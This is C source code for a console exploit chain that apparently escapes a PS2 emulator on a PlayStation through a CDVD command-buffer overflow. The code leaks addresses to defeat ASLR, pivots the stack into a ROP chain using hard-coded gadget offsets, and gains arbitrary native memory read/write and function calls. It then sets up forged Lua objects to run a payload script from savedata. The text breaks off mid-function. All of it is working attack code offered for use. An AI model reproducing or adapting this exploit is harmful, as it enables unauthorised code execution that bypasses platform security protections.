/* Copyright (C) 2026 Gezine This software may be modified and distributed under the terms of the MIT license. See the LICENSE file for details. */ // Credits // CTurt https://cturt.github.io/mast1c0re.html // McCaulay https://mccaulay.co.uk/mast1c0re-part-2-arbitrary-ps2-code-execution/ // ChampionLeake https://www.psdevwiki.com/ps2/Vulnerabilities #include #define PS2_MAX_THREADS 255 #define PS2_SYS_GET_THREAD_ID_USA 0x002F5A90 #define PS2_SYS_TERMINATE_THREAD_USA 0x002F59F0 #define PS2_SYS_DELETE_THREAD_USA 0x002F59B0 #define PS2_SYS_GET_THREAD_ID_EU 0x002F5FD0 #define PS2_SYS_TERMINATE_THREAD_EU 0x002F5F30 #define PS2_SYS_DELETE_THREAD_EU 0x002F5EF0 #define BREAKOUT_BUSY_TIMEOUT 100000 #define NCMD_COMMAND 0x1f402004 #define NCMD_STATUS 0x1f402005 #define NCMD_SEND 0x1f402005 #define SCMD_COMMAND 0x1f402016 #define SCMD_STATUS 0x1f402017 #define SCMD_SEND 0x1f402017 #define SCMD_RECV 0x1f402018 #define CMD_STATUS_EMPTY 0x40 #define CMD_STATUS_BUSY 0x80 #define N_STATUS_BUFFER 0x3A2448 // unk_3A2408 + 0x40 #define S_STATUS_BUFFER 0x3A2458 #define N_STATUS_INDEX 0x3A24C8 #define S_STATUS_INDEX 0x3A24D8 #define IO_REGISTER_READ_HANDLERS 0x5BFB1A0 #define INTERRUPT_WRITE_HANDLERS 0x5F29C8 #define PARTIAL_POINTER_OVERWRITE_RET 0x31 #define PS2_TO_NATIVE(address) ((u64)(u32)(address) | 0x8000000000ULL) // PS2 syscall function pointers typedef int (*f_get_thread_id)(); typedef int (*f_terminate_thread)(int thread_id); typedef int (*f_delete_thread)(int thread_id); static f_get_thread_id get_thread_id = NULL; static f_terminate_thread terminate_thread = NULL; static f_delete_thread delete_thread = NULL; static int is_region_usa = 1; // eboot offsets static u64 READ_HANDLER = 0x16c700; static u64 ADD_EAX_ESP_RET = 0xF1114; static u64 POP_RSP_RET = 0x61a70; static u64 MOV_EAX_DOUBLE_DEREF = 0x239a64; static u64 RET = 0x72; static u64 POP_RAX_RET = 0xb50a0; static u64 POP_RBX_RET = 0xc234; static u64 POP_RCX_RET = 0x96059; static u64 POP_RDI_RET = 0x1429; static u64 POP_RSI_RET = 0xbf2b0; static u64 POP_RDX_RET = 0xbf5b7; static u64 POP_RBP_RET = 0x8f; static u64 POP_R13_RET = 0xbf35d; static u64 POP_R14_RET = 0x11d0e2; static u64 POP_R15_RET = 0x1428; static u64 MOV_DEREF_RDI_RAX_RET = 0x75b6c; // mov qword [rdi], rax ; ret ; static u64 MOV_RAX_DEREF_RAX_RET = 0x23ac20; // mov rax, qword [rax] ; ret ; static u64 PIVOT_GADGET2 = 0x2e3aac; // pop rsi ; or al, 0xED ; jmp qword [rdi+0x0C] ; // mov rax, qword [0x0000000002DC8A50] ; jmp qword [rax+0x48] ; static u64 LUA_PIVOT1 = 0x129039; static u64 LUA_PIVOT_SCRATCH = 0x5C00000; static u64 DIALOG_SCRATCH = 0x3C00000; // scratch buffer in eboot for lua arw static u64 fake_string_offset = 0x393350; // TString for arbitrary read static u64 fake_table_offset = 0x393450; // addrof // libc offsets static u64 PIVOT_GADGET1 = 0x5a070; // mov rax, qword [rax-0x18] ; mov rdi, qword [rbx+rax+0x40] ; mov rax, qword [rdi] ; mov rax, qword [rax+0x70] ; call rax static u64 PIVOT_GADGET3 = 0x5453b; // mov rsp, qword [rdi+0xF8] ; mov rcx, qword [rdi+0xE0] ; push rcx ; mov rdi, qword [rdi+0x48] ; ret // functions static u64 sceKernelOpen = 0; static u64 sceKernelRead = 0; static u64 sceKernelWrite = 0; static u64 sceKernelClose = 0; static u64 sceKernelStat = 0; static u64 sceMsgDialogInitialize = 0; static u64 sceMsgDialogOpen = 0; static u64 sceMsgDialogTerminate = 0; static u64 sceCommonDialogInitialize = 0; static u64 sceCommonDialogTerminate = 0; static u64 sceKernelUsleep = 0; static u64 sceUserServiceGetInitialUser = 0; static u64 sceSaveDataMount = 0; // lua static u64 lua_newstate = 0x188C90; static u64 lua_allocator = 0x1954F0; static u64 lua_requiref = 0x194590; static u64 lua_loadfile = 0x1931A0; static u64 lua_pcall = 0x17B4B0; static u64 lua_pushlstring = 0x189800; static u64 lua_newtable = 0x18A050; static u64 lua_settable = 0x18C970; static u64 lua_setglobal = 0x17AF80; static u64 lua_gettable = 0x17A070; static u64 lualib__G = 0x19D590; static u64 lualib_package = 0x1B1650; static u64 lualib_coroutine = 0x1A0110; static u64 lualib_table = 0x1B0070; static u64 lualib_io = 0x1A3E30; static u64 lualib_os = 0x1A8C40; static u64 lualib_string = 0x1AA030; static u64 lualib_math = 0x1A7AF0; static u64 lualib_utf8 = 0x19C7D0; static u64 lualib_debug = 0x1A1020; #define LUA_TNIL 0x00 #define LUA_TNUMINT 0x13 #define LUA_TLNGSTR 0x14 #define LUA_TLCF 0x16 #define LUA_TTABLE 0x45 #define LUA_TLNGSTR_GC 0x54 #define L_TOP_OFFSET 0x10 // lua_State->top offset static u32 n_status_index = 0; static u32 eboot_base = 0; static u64 libc_base = 0; static u64 fios_base = 0; static u64 stack_pointer = 0; static u64 saved_rbp = 0; static u64 return_value = 0; static u32 user_id = 0; // ============================================================================ void detect_region() { volatile u8* addr = (volatile u8*)PS2_SYS_GET_THREAD_ID_USA; if (addr[0]==0x2F && addr[1]==0x00 && addr[2]==0x03 && addr[3]==0x24 && addr[4]==0x0C && addr[5]==0x00 && addr[6]==0x00 && addr[7]==0x00) { // USA version is_region_usa = 1; get_thread_id = (f_get_thread_id)PS2_SYS_GET_THREAD_ID_USA; terminate_thread = (f_terminate_thread)PS2_SYS_TERMINATE_THREAD_USA; delete_thread = (f_delete_thread)PS2_SYS_DELETE_THREAD_USA; } else { // EU version is_region_usa = 0; get_thread_id = (f_get_thread_id)PS2_SYS_GET_THREAD_ID_EU; terminate_thread = (f_terminate_thread)PS2_SYS_TERMINATE_THREAD_EU; delete_thread = (f_delete_thread)PS2_SYS_DELETE_THREAD_EU; } } void kill_threads() { int tid = get_thread_id(); for (int i = 1; i < PS2_MAX_THREADS; i++) { if (i != tid) { terminate_thread(i); delete_thread(i); } } } void reset_s_status_index() { *(volatile u8*)SCMD_COMMAND = 0; int i = 0; while ((*(volatile u8*)SCMD_STATUS) & CMD_STATUS_BUSY) { if (++i > BREAKOUT_BUSY_TIMEOUT) break; } i = 0; while (!((*(volatile u8*)SCMD_STATUS) & CMD_STATUS_EMPTY)) { volatile u8 recv = *(volatile u8*)SCMD_RECV; (void)recv; if (++i > BREAKOUT_BUSY_TIMEOUT) break; } } void reset_n_status_index() { *(volatile u8*)NCMD_COMMAND = 0; int i = 0; while ((*(volatile u8*)NCMD_STATUS) & CMD_STATUS_BUSY) { if (++i > BREAKOUT_BUSY_TIMEOUT) break; } n_status_index = 0; } void s_status_buffer_overflow(u8* overflow, u32 size) { reset_s_status_index(); // Fill 16-byte buffer for (int i = 0; i < 0x10; i++) *(volatile u8*)SCMD_SEND = 0; // Write out-of-bounds for (u32 i = 0; i < size; i++) *(volatile u8*)SCMD_SEND = overflow[i]; } void set_oob_index(u32 index) { if (n_status_index == index) return; reset_n_status_index(); u8 overflow[0x60 + 4] = {0}; // Overwrite gNStatusIndex overflow[0x60 + 0] = index >> 0; overflow[0x60 + 1] = index >> 8; overflow[0x60 + 2] = index >> 16; overflow[0x60 + 3] = index >> 24; n_status_index = index; s_status_buffer_overflow(overflow, sizeof(overflow)); } // ============================================================================ void write_oob8(u32 offset, u8 value) { set_oob_index(offset - N_STATUS_BUFFER); *(volatile u8*)NCMD_SEND = value; n_status_index++; } void write_oob16(u32 offset, u16 value) { write_oob8(offset + 0, (u8)(value >> 0)); write_oob8(offset + 1, (u8)(value >> 8)); } void write_oob32(u32 offset, u32 value) { write_oob8(offset + 0, (u8)(value >> 0)); write_oob8(offset + 1, (u8)(value >> 8)); write_oob8(offset + 2, (u8)(value >> 16)); write_oob8(offset + 3, (u8)(value >> 24)); } void write_oob64(u32 offset, u64 value) { write_oob32(offset + 0, (u32)value); write_oob32(offset + 4, (u32)(value >> 32)); } // ============================================================================ // Arbitrary read via double-dereference gadget // mov rax, qword [rax+0x40] ; mov eax, [rax+0x8BC] ; ret u32 read32_unstable(u64 target_addr) { // Write full 64-bit address (target - 0x8BC) at offset +0x40 write_oob64(IO_REGISTER_READ_HANDLERS + 0x40, target_addr - 0x8BC); // Trigger gadget: // RAX = [RAX+0x40] = full 64-bit (target - 0x8BC) // EAX = [RAX+0x8BC] = [target] write_oob64(IO_REGISTER_READ_HANDLERS, MOV_EAX_DOUBLE_DEREF); volatile u32* io = (volatile u32*)0x10000000; u32 retval = *io; //Restore write_oob64(IO_REGISTER_READ_HANDLERS + 0x40, READ_HANDLER); write_oob64(IO_REGISTER_READ_HANDLERS, READ_HANDLER); return retval; } u64 read64_unstable(u64 target_addr) { u32 low = read32_unstable(target_addr); u32 high = read32_unstable(target_addr + 4); return ((u64)high << 32) | low; } // ============================================================================ u64 leak_eboot() { // Corrupt LSB from 0x00 to 0x31 to point to RET instruction // This returns the IO handler address in EAX volatile u32* io = (volatile u32*)0x10000000; write_oob8(IO_REGISTER_READ_HANDLERS, (u8)PARTIAL_POINTER_OVERWRITE_RET); u32 io_function_pointer_address = *io; // Calculate ASLR slide (eboot_base) return (u64)io_function_pointer_address - IO_REGISTER_READ_HANDLERS; } u64 leak_stack() { // add eax, esp ; ret // EAX initially contains IO_REGISTER_READ_HANDLERS address // After gadget: EAX = IO_REGISTER_READ_HANDLERS + ESP write_oob64(IO_REGISTER_READ_HANDLERS, ADD_EAX_ESP_RET); volatile u32* io = (volatile u32*)0x10000000; u32 result = *io; u32 base = (u32)(eboot_base + IO_REGISTER_READ_HANDLERS); u32 esp = result - base; //Restore write_oob64(IO_REGISTER_READ_HANDLERS, READ_HANDLER); // RSP is always in 0x700000000 range return (u64)esp | 0x700000000ULL; } // ============================================================================ void init_eboot_offsets() { eboot_base = leak_eboot(); READ_HANDLER += eboot_base; ADD_EAX_ESP_RET += eboot_base; POP_RSP_RET += eboot_base; MOV_EAX_DOUBLE_DEREF += eboot_base; RET += eboot_base; POP_RAX_RET += eboot_base; POP_RBX_RET += eboot_base; POP_RCX_RET += eboot_base; POP_RDI_RET += eboot_base; POP_RSI_RET += eboot_base; POP_RDX_RET += eboot_base; POP_RBP_RET += eboot_base; POP_R13_RET += eboot_base; POP_R14_RET += eboot_base; POP_R15_RET += eboot_base; MOV_DEREF_RDI_RAX_RET += eboot_base; MOV_RAX_DEREF_RAX_RET += eboot_base; PIVOT_GADGET2 += eboot_base; LUA_PIVOT1 += eboot_base; LUA_PIVOT_SCRATCH += eboot_base; DIALOG_SCRATCH += eboot_base; lua_newstate += eboot_base; lua_allocator += eboot_base; lua_requiref += eboot_base; lua_loadfile += eboot_base; lua_pcall += eboot_base; lualib__G += eboot_base; lualib_package += eboot_base; lualib_coroutine += eboot_base; lualib_table += eboot_base; lualib_io += eboot_base; lualib_os += eboot_base; lualib_string += eboot_base; lualib_math += eboot_base; lualib_utf8 += eboot_base; lualib_debug += eboot_base; lua_pushlstring += eboot_base; lua_newtable += eboot_base; lua_settable += eboot_base; lua_setglobal += eboot_base; lua_gettable += eboot_base; fake_string_offset += eboot_base; fake_table_offset += eboot_base; } void init_libc_offsets() { u64 strlen = read64_unstable(eboot_base + 0x388E18); libc_base = strlen - 0x32070; PIVOT_GADGET1 += libc_base; PIVOT_GADGET3 += libc_base; } // ============================================================================ static u64 *rop_chain_buffer = (u64*)0x500000; // PS2 memory scratch static u64 *rop_chain; static u8 pivot_structure[512]; void setup_rop() { stack_pointer = leak_stack() - 0x100; saved_rbp = stack_pointer + 0x18; // Zero out entire buffer from PS2 side (makes it writable for native) for (int i = 0; i < 0x40000; i++) { rop_chain_buffer[i] = 0; } for (int i = 0; i < 512; i++) { pivot_structure[i] = 0; } // Place ROP chain at buffer midpoint to allow stack growth in both directions rop_chain = rop_chain_buffer + 0x20000; // 0x20000 * 8 = 0x100000 byte offset u64 pivot_struct_native = PS2_TO_NATIVE((u32)pivot_structure); u64 rop_chain_native = PS2_TO_NATIVE((u32)rop_chain); // Setup for PIVOT_GADGET1: writes value that will be read at [rax-0x18] // This will make rax point to our pivot structure when PIVOT_GADGET1 executes write_oob64(IO_REGISTER_READ_HANDLERS - 0x18, pivot_struct_native - 0x10000040); // PIVOT_GADGET1: mov rax, [rax-0x18] ; mov rdi, [rbx+rax+0x40] ; mov rax, [rdi] ; mov rax, [rax+0x70] ; call rax // After reading [rax-0x18], rax = pivot_struct_native - 0x10000040 // Then rdi = [rbx + (pivot_struct_native - 0x10000040) + 0x40] where rbx is 0x10000000 or 0x10000010 // This gives us rdi = [pivot_struct_native + 0x00] or [pivot_struct_native + 0x10] *(u64*)(pivot_structure + 0x00) = pivot_struct_native + 0x20; // For rbx = 0x10000000 *(u64*)(pivot_structure + 0x10) = pivot_struct_native + 0x20; // For rbx = 0x10000010 *(u64*)(pivot_structure + 0x20) = pivot_struct_native + 0x20; // rdi now points here // PIVOT_GADGET1 continues: mov rax, [rdi] ; mov rax, [rax+0x70] ; call rax // rax = [pivot_struct_native + 0x20] = pivot_struct_native + 0x20 // rax = [rax+0x70] = [pivot_struct_native + 0x90] = PIVOT_GADGET2 *(u64*)(pivot_structure + 0x0C + 0x20) = PIVOT_GADGET3; // Used by PIVOT_GADGET2 *(u64*)(pivot_structure + 0x70 + 0x20) = PIVOT_GADGET2; // Will be called by PIVOT_GADGET1 // PIVOT_GADGET2: pop rsi ; or al, 0xED ; jmp [rdi+0x0C] // pop rsi removes the return address pushed by PIVOT_GADGET1's call instruction // This cleans up the stack before jumping to PIVOT_GADGET3 // Jumps to [rdi+0x0C] = [pivot_struct_native + 0x2C] = PIVOT_GADGET3 // PIVOT_GADGET3: mov rsp, [rdi+0xF8] ; mov rcx, [rdi+0xE0] ; push rcx ; mov rdi, [rdi+0x48] ; ret // This is the actual stack pivot: moves our ROP chain address into RSP // Pushes RET instruction address, then returns to execute our ROP chain *(u64*)(pivot_structure + 0xE0 + 0x20) = RET; // Pushed then returned to *(u64*)(pivot_structure + 0xF8 + 0x20) = rop_chain_native; // New stack pointer (ROP chain) // Set stack pivot gadget write_oob64(IO_REGISTER_READ_HANDLERS, PIVOT_GADGET1); } u64 call_rop_full(u64 address, u64 rax, u64 arg1, u64 arg2, u64 arg3, u64 arg4) { int idx = 0; // Note : stack must align 16 bytes // Removed // // Restore corrupted read handler function pointer // rop_chain[idx++] = POP_RAX_RET; // rop_chain[idx++] = READ_HANDLER; // rop_chain[idx++] = POP_RDI_RET; // rop_chain[idx++] = eboot_base + IO_REGISTER_READ_HANDLERS; // rop_chain[idx++] = MOV_DEREF_RDI_RAX_RET; // Setup function arguments rop_chain[idx++] = POP_RAX_RET; rop_chain[idx++] = rax; rop_chain[idx++] = POP_RDI_RET; rop_chain[idx++] = arg1; rop_chain[idx++] = POP_RSI_RET; rop_chain[idx++] = arg2; rop_chain[idx++] = POP_RDX_RET; rop_chain[idx++] = arg3; rop_chain[idx++] = POP_RCX_RET; rop_chain[idx++] = arg4; // Call function rop_chain[idx++] = address; // Save return value rop_chain[idx++] = POP_RDI_RET; rop_chain[idx++] = PS2_TO_NATIVE((u32)&return_value); rop_chain[idx++] = MOV_DEREF_RDI_RAX_RET; // Restore registers rop_chain[idx++] = POP_RBX_RET; rop_chain[idx++] = 0x10000000; rop_chain[idx++] = POP_R14_RET; rop_chain[idx++] = 0x10000000; rop_chain[idx++] = POP_R15_RET; rop_chain[idx++] = 0x1030000090; rop_chain[idx++] = POP_RBP_RET; rop_chain[idx++] = saved_rbp; rop_chain[idx++] = POP_RSP_RET; rop_chain[idx++] = stack_pointer; // Trigger the pivot volatile u32* io = (volatile u32*)0x10000000; (void)*io; return return_value; } #define call_rop(addr, ...) call_rop_helper(addr, ##__VA_ARGS__, 0, 0, 0, 0, 0) #define call_rop_helper(addr, rax, arg1, arg2, arg3, arg4, ...) \ call_rop_full(addr, rax, arg1, arg2, arg3, arg4) // ============================================================================ u64 read64(u64 address) { return call_rop(MOV_RAX_DEREF_RAX_RET, address); } u32 read32(u64 address) { return (u32)read64(address); } u16 read16(u64 address) { return (u16)read64(address); } u8 read8(u64 address) { return (u8)read64(address); } void write64(u64 address, u64 value) { call_rop(MOV_DEREF_RDI_RAX_RET, value, address); } void write8(u64 address, u8 value) { u64 current = read64(address); write64(address, (current & ~0xFFULL) | value); } void write16(u64 address, u16 value) { u64 current = read64(address); write64(address, (current & ~0xFFFFULL) | value); } void write32(u64 address, u32 value) { u64 current = read64(address); write64(address, (current & ~0xFFFFFFFFULL) | value); } void init_function_offsets() { sceKernelOpen = read64(eboot_base + 0x388FB0); sceKernelRead = read64(eboot_base + 0x388FC0); sceKernelWrite = read64(eboot_base + 0x388FA0); sceKernelClose = read64(eboot_base + 0x388FC0); sceKernelStat = read64(eboot_base + 0x388FD0); sceMsgDialogInitialize = read64(eboot_base + 0x389128); sceMsgDialogOpen = read64(eboot_base + 0x389158); sceMsgDialogTerminate = read64(eboot_base + 0x389418); sceCommonDialogInitialize = read64(eboot_base + 0x389160); sceCommonDialogTerminate = sceCommonDialogInitialize + 0x70; sceKernelUsleep = read64(eboot_base + 0x389640); sceUserServiceGetInitialUser = read64(eboot_base + 0x3891D8); sceSaveDataMount = read64(eboot_base + 0x3893F0); } void init_fios_offsets() { // sceFiosDeallocatePassthruFH fios_base = read64(libc_base + 0xCBCD8) - 0xD6A0; } // ============================================================================ void u64_to_str(u64 num, char *str) { int i = 0; if (num == 0) { str[0] = '0'; str[1] = '\0'; return; } while (num > 0) { u64 quotient = 0; u64 remainder = 0; for (int bit = 63; bit >= 0; bit--) { remainder <<= 1; if (num & (1ULL << bit)) { remainder |= 1; } if (remainder >= 10) { remainder -= 10; quotient |= (1ULL << bit); } } str[i++] = remainder + '0'; num = quotient; } str[i] = '\0'; int start = 0; int end = i - 1; while (start < end) { char temp = str[start]; str[start] = str[end]; str[end] = temp; start++; end--; } } void u64_to_hex(u64 num, char *str) { int i = 2; str[0] = '0'; str[1] = 'x'; if (num == 0) { str[2] = '0'; str[3] = '\0'; return; } while (num > 0) { int digit = num & 0xF; if (digit < 10) { str[i++] = digit + '0'; } else { str[i++] = digit - 10 + 'A'; } num >>= 4; } str[i] = '\0'; int start = 2; int end = i - 1; while (start < end) { char temp = str[start]; str[start] = str[end]; str[end] = temp; start++; end--; } } void send_notification(const char* text) { const u64 notify_buffer_size = 0xc30; u8 notify_buffer[0xc30] = {0}; for (int i = 0; i < notify_buffer_size; i++) { notify_buffer[i] = 0; } // Setup notification structure *(u32*)¬ify_buffer[0x0] = 0; // type *(u32*)¬ify_buffer[0x28] = 0; // unk3 *(u32*)¬ify_buffer[0x2c] = 1; // use_icon_image_uri *(u32*)¬ify_buffer[0x10] = 0xffffffff; // target_id (-1 as unsigned) // Write message at offset 0x2D int i = 0; while (text[i] != '\0' && i < 0x3FE) { notify_buffer[0x2D + i] = text[i]; i++; } notify_buffer[0x2D + i] = '\0'; // Write icon URI at offset 0x42D const char* icon_uri = "cxml://psnotification/tex_icon_system"; i = 0; while (icon_uri[i] != '\0') { notify_buffer[0x42D + i] = icon_uri[i]; i++; } notify_buffer[0x42D + i] = '\0'; static char dev_path[] = "/dev/notification0"; u64 fd = call_rop(sceKernelOpen, 0, PS2_TO_NATIVE((u32)dev_path), 0x0001, // O_WRONLY 0); call_rop(sceKernelWrite, 0, fd, PS2_TO_NATIVE((u32)notify_buffer), notify_buffer_size); call_rop(sceKernelClose, 0, fd); } void get_userid() { call_rop(sceUserServiceGetInitialUser, 0, PS2_TO_NATIVE(&user_id)); } void show_dialog(const char* message) { call_rop(sceMsgDialogTerminate); call_rop(sceMsgDialogInitialize); // Use eboot scratch space for buffers (32bit address) u64 dialog_param_addr = DIALOG_SCRATCH; u64 msg_param_addr = DIALOG_SCRATCH + 0x88; // Zero dialog_param buffer for (int i = 0; i < 0x88; i++) { write8(dialog_param_addr + i, 0); } // Zero msg_param buffer for (int i = 0; i < 0x20; i++) { write8(msg_param_addr + i, 0); } // Calculate magic // magic calculation does not like 64bit address (?) u32 magic = (u32)(0xC0D1A109 + dialog_param_addr); // Setup dialog_param structure write64(dialog_param_addr + 0x00, 0x30); // baseParam.size write32(dialog_param_addr + 0x2C, magic); // magic write64(dialog_param_addr + 0x30, 0x88); // size write32(dialog_param_addr + 0x38, 1); // mode write64(dialog_param_addr + 0x40, msg_param_addr); // msg_param pointer write32(dialog_param_addr + 0x58, user_id); // userId // Setup msg_param structure write32(msg_param_addr + 0x00, 0); write64(msg_param_addr + 0x08, PS2_TO_NATIVE((u32)message)); u64 msg_ret = call_rop(sceMsgDialogOpen, 0, dialog_param_addr); if(msg_ret != 0) { send_notification("sceMsgDialogOpen failed"); } } int mount_savedata_readonly() { u8 stat_buffer[256]; static char savedata_path[] = "/savedata0"; u8 dir_name_struct[32]; u8 mount_params[128]; u8 mount_result[128]; send_notification("Mounting savedata for Lua transition..."); // Wait existing rw mount auto unmounts for (int attempt = 0; attempt < 20; attempt++) { u64 stat_ret = call_rop(sceKernelStat, 0, PS2_TO_NATIVE((u32)savedata_path), PS2_TO_NATIVE((u32)stat_buffer)); if (stat_ret != 0) { break; } call_rop(sceKernelUsleep, 0, 1000000); } for (int i = 0; i < 32; i++) { dir_name_struct[i] = 0; } char save_dir_usa[] = "SLUS-20268"; char save_dir_eu[] = "SLES-50366"; char* save_dir = (is_region_usa == 1) ? save_dir_usa : save_dir_eu; for (int i = 0; save_dir[i] != '\0' && i < 31; i++) { dir_name_struct[i] = save_dir[i]; } for (int i = 0; i < 128; i++) { mount_params[i] = 0; mount_result[i] = 0; } *(u32*)&mount_params[0x00] = user_id; *(u64*)&mount_params[0x08] = 0; *(u64*)&mount_params[0x10] = PS2_TO_NATIVE((u32)dir_name_struct); *(u64*)&mount_params[0x20] = 32768; *(u32*)&mount_params[0x28] = 1; // Read only for permanent mount for (int attempt = 0; attempt < 10; attempt++) { u64 ret = call_rop(sceSaveDataMount, 0, PS2_TO_NATIVE((u32)mount_params), PS2_TO_NATIVE((u32)mount_result)); if (ret == 0) { send_notification("Mounted savedata at /savedata0"); return 0; } call_rop(sceKernelUsleep, 0, 1000000); } send_notification("Mount failed"); return -1; } // ============================================================================ void lua_push_tvalue(u64 lua_state, u64 value_ptr, u32 type_tag) { u64 top = read64(lua_state + L_TOP_OFFSET); // Write TValue at stack top write64(top + 0x00, value_ptr); // value write32(top + 0x08, type_tag); // tt_ // Increment stack top (TValue is 16 bytes) write64(lua_state + L_TOP_OFFSET, top + 0x10); } // Push integer to stack void lua_push_integer(u64 lua_state, u64 integer_value) { lua_push_tvalue(lua_state, integer_value, LUA_TNUMINT); } // Create and push a fake long string for arbitrary read u64 create_fake_string() { u64 fake_string_addr = fake_string_offset; write64(fake_string_addr + 0x00, 0); // next = NULL write8(fake_string_addr + 0x08, 0x14); // tt = LUA_TLNGSTR write8(fake_string_addr + 0x09, 0); // marked = 0 write8(fake_string_addr + 0x0A, 0); // extra = 0 write8(fake_string_addr + 0x0B, 0xFF); // shrlen = 0xFF write32(fake_string_addr + 0x0C, 0); // hash = 0 write64(fake_string_addr + 0x10, 0x7FFFFFFFFFFFFFFF); // lnglen = max return fake_string_addr; } void lua_pushcclosure(u64 lua_state, u64 fn) { u64 top = read64(lua_state + L_TOP_OFFSET); write64(top + 0x00, fn); // Function pointer write32(top + 0x08, LUA_TLCF); // Type = 0x16 write32(top + 0x0C, 0); // Extra = 0 write64(lua_state + L_TOP_OFFSET, top + 0x10); } void setup_lua_primitives(u64 lua_state) { // Create fake string for arbitrary read u64 fake_string_addr = create_fake_string(); u64 string_data_base = fake_string_addr + 0x20; // Data at +0x20 // Push fake string to Lua stack lua_push_tvalue(lua_state, fake_string_addr, LUA_TLNGSTR_GC); // Set as global "FAKE_STRING" static char mem_name[] = "FAKE_STRING"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)mem_name)); // Create ADDROF_TABLE table for addrof u64 addrof_table = call_rop(lua_newtable, 0, lua_state); if (addrof_table == 0) { send_notification("ERROR: lua_newtable failed"); return; } // Setup ADDROF_TABLE's array in our buffer u64 array_addr = fake_table_offset; u64 array_size = 8; // Initialize array (all nil TValues) for (u64 i = 0; i < array_size; i++) { write64(array_addr + (i * 16) + 0x00, 0); write32(array_addr + (i * 16) + 0x08, LUA_TNIL); write32(array_addr + (i * 16) + 0x0C, 0); } // Patch ADDROF_TABLE's structure write32(addrof_table + 0x0C, array_size); write64(addrof_table + 0x10, array_addr); // Push and set as global lua_push_tvalue(lua_state, addrof_table, LUA_TTABLE); static char addrof_table_name[] = "ADDROF_TABLE"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)addrof_table_name)); // Create WRITE_TABLE Table u64 write_table = call_rop(lua_newtable, 0, lua_state); if (write_table == 0) { send_notification("ERROR: WRITE_TABLE creation failed"); return; } // Set WRITE_TABLE's array to point to ADDROF_TABLE's structure // WRITE_TABLE[2] will write to ADDROF_TABLE+0x10 (array pointer) write32(write_table + 0x0C, 8); // sizearray = 8 write64(write_table + 0x10, addrof_table); // array points to ADDROF_TABLE // Push and set as global lua_push_tvalue(lua_state, write_table, LUA_TTABLE); static char write_table_name[] = "WRITE_TABLE"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)write_table_name)); // Push ROP pivot gadget for lua using lua_pushcclosure lua_pushcclosure(lua_state, LUA_PIVOT1); static char lua_rop_funcname[] = "call_rop_internal"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)lua_rop_funcname)); // Export constants to lua // ARRAY_ADDR lua_push_integer(lua_state, array_addr); static char array_addr_name[] = "ARRAY_ADDR"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)array_addr_name)); // STRING_BASE lua_push_integer(lua_state, string_data_base); static char string_base_name[] = "STRING_BASE"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)string_base_name)); // EBOOT_BASE lua_push_integer(lua_state, eboot_base); static char eboot_base_name[] = "EBOOT_BASE"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)eboot_base_name)); // LIBC_BASE lua_push_integer(lua_state, libc_base); static char libc_base_name[] = "LIBC_BASE"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)libc_base_name)); // FIOS_BASE lua_push_integer(lua_state, fios_base); static char fios_base_name[] = "FIOS_BASE"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)fios_base_name)); // LUA_STATE lua_push_integer(lua_state, lua_state); static char lua_state_name[] = "LUA_STATE"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)lua_state_name)); // USER_ID lua_push_integer(lua_state, (u64)user_id); static char user_id_name[] = "USER_ID"; call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)user_id_name)); } void initialize_lua() { static char script_path[] = "/savedata0/lua/init.lua"; u64 lua_state = call_rop(lua_newstate, 0, lua_allocator, 0); if (lua_state == 0) { send_notification("Failed to create Lua state"); return; } // Load Lua libraries // lua_requiref here is not exact lua_requiref but does similar thing call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"_G"), lualib__G, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"package"), lualib_package, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"coroutine"), lualib_coroutine, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"table"), lualib_table, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"io"), lualib_io, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"os"), lualib_os, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"string"), lualib_string, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"math"), lualib_math, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"utf8"), lualib_utf8, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"debug"), lualib_debug, 1); write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10); setup_lua_primitives(lua_state); u64 load_status = call_rop(lua_loadfile, 0, lua_state, PS2_TO_NATIVE((u32)script_path), 0); if (load_status != 0) { send_notification("Failed to load init.lua"); return; } send_notification("Executing... init.lua"); u64 exec_status = call_rop(lua_pcall, 0, lua_state, 0, // nargs = 0 0, // nresults = 0 0); // msgh = 0 (no error handler) if (exec_status != 0) { if (exec_status == 2) { send_notification("LUA_ERRRUN (Runtime error)"); // Read error from log file static char log_path[] = "/av_contents/content_tmp/lua_log.txt"; u64 fd = call_rop(sceKernelOpen, 0, PS2_TO_NATIVE((u32)log_path), 0x0000, // O_RDONLY 0); if (fd >= 0) { char log_buffer[8192]; u64 bytes_read = call_rop(sceKernelRead, 0, fd, PS2_TO_NATIVE((u32)log_buffer), sizeof(log_buffer) - 1); 